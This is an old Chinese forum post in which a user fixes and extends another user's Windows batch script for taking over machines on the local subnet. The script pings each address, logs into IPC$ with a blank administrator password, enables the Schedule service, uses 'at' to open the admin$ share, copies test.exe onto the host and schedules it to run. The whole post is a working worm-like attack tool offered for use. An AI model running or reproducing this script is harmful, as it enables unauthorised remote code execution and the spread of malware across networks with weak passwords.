lz的批处理有不少问题
首先ping %IP% -n 2 | findstr /i "time<" && 这一句就有可能漏掉不少;
有不少能ping上的没有"time<"而是"time="
不如用errorlevel来判断
其次copy test.exe \\%IP%\admin$这一句一般机器不会开着admin$的;
所以我先测下此机器能否在ipc$方面加以利用
sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
我用的这一句;
一方面测试此机器的利用价值(如果远程连服务都无法改动设置的话则此机器连at命令也会执行不了也会拒绝访问)
一般如果这一步通过了;可以说此机器就可以被完全控制;
另一方面改变Schedule的启动模式(当然大部分机器这个是已经开着的)
net start Schedule
可以利用at命令
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$
于是1分钟开启对方admin$
于是下面就是复制文件和启动了..............
下面是我修改后的..........
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| find /i "ip address"') do (set ip=%%a&& goto :gof)
:gof
set "ip=%ip: =%"
for /f "tokens=1,2,3 delims=." %%b in ("%ip%") do (set ip1=1
call :bb %%b %%c %%d %ip1%)
:bb
set IP=%1.%2.%3.%ip1%
ping %IP% -n 2
if errorlevel 0 if not errorlevel 1 net use \\%IP%\ipc$ "" /user:administrator
if errorlevel 0 if not errorlevel 1 sc \\%ip% config Schedule start= auto ^| find "SUCCESS"
if errorlevel 0 if not errorlevel 1 sc start Schedule
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% net share admin$ ...............从这往下的个人觉得有点多余不如自己估计时间
:loop
if %time%==%tm%+1 (goto next) else (goto loop)
:next
copy test.exe \\%IP%\admin$
net time \\%ip% /set /y
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
set /a mm=%mm%+1
set tm=%hh%:0%mm%
at \\%ip% %tm% c:\windows\system32\test.exe
set /a ip1+=1
if %ip1% lss 255 goto :bb
exit
[ Last edited by bjsh on 2007-3-8 at 03:29 PM ]